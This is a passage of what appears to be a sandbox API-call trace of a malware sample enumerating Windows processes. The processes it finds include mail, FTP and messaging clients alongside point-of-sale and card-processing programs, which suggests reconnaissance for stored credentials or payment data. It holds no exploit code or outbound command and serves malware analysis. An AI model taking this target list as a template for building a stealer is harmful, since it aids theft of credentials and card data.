hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0130.662] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0130.665] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0130.668] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0130.671] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0130.673] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0130.676] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0130.679] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0130.681] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0130.684] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0130.686] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0130.690] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0130.692] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0130.695] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0130.697] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0130.700] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0130.703] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0130.706] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0130.708] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0130.711] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0130.713] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0130.716] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0130.719] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0130.722] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0130.724] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0130.727] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0130.730] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0130.733] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0130.738] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0130.741] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0130.743] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0130.745] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0130.747] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0130.750] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0130.752] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0130.754] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0130.756] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0130.782] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0130.785] Process32Next (in: hSnapshot=0x1fe8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0130.787] CloseHandle (hObject=0x1fe8) returned 1 [0130.787] Sleep (dwMilliseconds=0x64) [0130.921] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1fb0 [0130.936] Process32First (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.938] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0130.940] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0130.942] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.944] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0130.946] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.948] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0130.951] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0130.953] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0130.955] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.957] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.960] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0130.962] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.965] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.967] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.969] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.972] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.974] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.986] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.990] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0130.992] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0130.994] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0130.997] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.999] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0131.001] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0131.004] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0131.006] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0131.008] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0131.011] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0131.013] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0131.015] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.017] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0131.020] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0131.023] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0131.026] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0131.028] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.031] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0131.033] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0131.035] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0131.069] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0131.071] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0131.073] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0131.075] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0131.077] Process32Next (in: hSnapshot=0x1fb0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, 